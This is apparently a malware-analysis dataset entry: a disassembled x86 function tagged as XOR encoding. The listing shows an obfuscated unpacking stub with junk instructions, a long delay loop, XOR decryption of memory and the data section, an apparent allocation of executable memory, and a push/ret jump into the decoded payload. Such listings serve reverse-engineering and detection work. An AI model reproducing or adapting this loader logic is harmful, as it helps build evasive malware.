Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc8e2c3e3
add eax, esi
add esi, 0x4c219d06
popal
mov eax, 0x63e18574
or esi, esi
mov edx, 0
mov edi, eax
sub esi, 0xdfa05f6e
add esi, 0x9906b96a
mov ebx, edi
add esi, 0xa6d2daa1
mov esi, 0x124f79a8
mov eax, ebx
add esi, ecx
dec esi
inc edx
add esi, ecx
add ecx, 0x48d565ee
cmp edx, 0x100a3ad
jne 0xa789c7
mov esi, 0xc7c78501
and esi, ecx
add esi, 0x2511f234
sub esi, eax
mov esi, eax
mov edx, 0xa78796
sub eax, 0x670ac9da
or esi, eax
mov ebx, 0xa7898a
not eax
and esi, eax
mov ecx, dword [edx]
add edi, 0x7474ba0a
mov edi, eax
and ecx, 0xff
add eax, edi
add esi, eax
xor dword [ebx], ecx
not esi
or esi, eax
inc edi
add ebx, 1
mov eax, edi
or esi, esi
or esi, edi
add edx, 1
not esi
or edi, esi
mov eax, 0xb297fc5b
cmp ebx, entry0
jl 0xa78a23
or esi, esi
sub edi, esi
sub edi, 1
inc eax
mov edi, 0x230cc34b
sub edx, 0x9f758f7c
mov ecx, 0xecd4977e
mov edi, 0xa7898e
not esi
sub edx, ebx
inc esi
mov edi, dword [edi]
sub edx, ebx
and edx, esi
mov edi, dword [edi]
mov edx, 0x9dd5276d
add edx, ecx
or esi, ebx
push edi
sub ecx, 0xce2d2f44
sub esi, 0xe8d5f138
mov edi, 0xa7898a
and edx, ecx
mov ecx, ebx
mov edi, dword [edi]
or edx, edx
sub edx, 0xc1b4cf3b
mov edi, dword [edi]
add ecx, 0x3e382986
add esi, 0x29e1a8d4
push 0xa78992
add edx, 0xa038ac71
not ebx
or edx, ebx
call edi
sub ecx, 1
mov ecx, 0x50f76031
mov edi, dword [esp]
add esp, 4
add edx, edx
not ecx
push 0xa7899f
mov esi, 0xf32e6b1d
and ebx, edx
push eax
or ecx, esi
or edx, esi
call edi
mov esi, 0xa1aaadf1
dec ebx
sub edx, ebx
push 0x40
or ecx, edx
not ecx
push 0x3000
add ecx, 0xa7276c34
and ebx, ecx
sub esp, 4
mov dword [esp], 0x20000f5a
and ecx, ecx
mov edx, ecx
sub edx, 1
push 0
mov esi, 0x84e1cec3
add esi, 1
call eax
not ecx
sub esi, 0xc3c7b1fb
add eax, 0x20000eb8
inc edx
add ecx, 0xc224454b
not ebx
mov edi, 0xebb9d5ad
mov ebx, edx
or ecx, esi
mov dword [eax], edi
sub esi, 0x24f6c2f2
mov edx, 0x1f5a15d8
mov ebx, ecx
mov edi, dword [eax]
mov edx, 0xa186c3e0
sub edx, 0x7db4a8d1
sub ecx, esi
cmp edi, 0xebb9d5ad
je 0xa78b93
mov eax, 0
mov cl, byte [eax]
sub ecx, 0x2d850f0f
mov ecx, 0x6c375aaf
not esi
add edx, esi
inc ecx
add esi, 0x9f27b073
mov eax, 0xbe34fa32
mov esi, eax
mov edx, section..data
not eax
or eax, eax
mov edi, 0xa78795
add eax, esi
and eax, esi
sub eax, 0xee71cb7a
mov ecx, 0
sub eax, 1
mov eax, esi
sub eax, esi
mov ebx, 0xa78796
sub esi, 1
sub esi, 0x504ef956
and eax, esi
lea ebx, [ecx + ebx]
add esi, 0x6d24c969
sub eax, 0x76057d01
mov eax, 0x5570e2c
mov ebx, dword [ebx]
add esi, 0x6344ce99
mov esi, eax
inc eax
and ebx, 0xff
mov eax, esi
not eax
mov eax, 0xa7a9494e
inc ecx
or eax, eax
and esi, esi
cmp ecx, 0x1f4
jne 0xa78c2a
mov ecx, 0
sub eax, 1
add eax, 0x6aa1fbd8
add esi, 0xa0d45856
dec esi
add esi, 1
xor dword [edx], ebx
inc eax
add eax, 0xd9b8b9f8
add edx, 2
add esi, eax
add eax, esi
cmp edx, edi
jl 0xa78bd7
dec esi
sub eax, 0x491f817a
and esi, esi
add eax, 0x15605718
mov edx, section..data
add ebx, ebx
or ecx, ecx
mov esi, section..data
mov ecx, ebx
or ebx, ebx
sub ebx, ecx
mov edi, 0xa78795
sub ebx, ecx
add ebx, ebx
mov eax, 0
mov ebx, 0x40a16ab
or ebx, ebx
add ecx, 0x390a70e8
mov al, byte [esi]
inc ecx
dec ebx
mov byte [edx], al
or ecx, ecx
sub ecx, ebx
sub ecx, ebx
inc edx
add ebx, 0xdf6b04a
sub ecx, ebx
add ecx, ebx
add esi, 2
not ecx
sub ecx, ebx
cmp esi, edi
jle 0xa78c9c
sub ebx, ecx
mov ebx, ecx
sub ecx, 0xc1caaa9d
inc eax
add eax, 0xd8525fcc
and esi, eax
push 0x8dc6a0
mov eax, 0x3f33c9c5
add esi, 0x6af4a8c8
add esi, eax
ret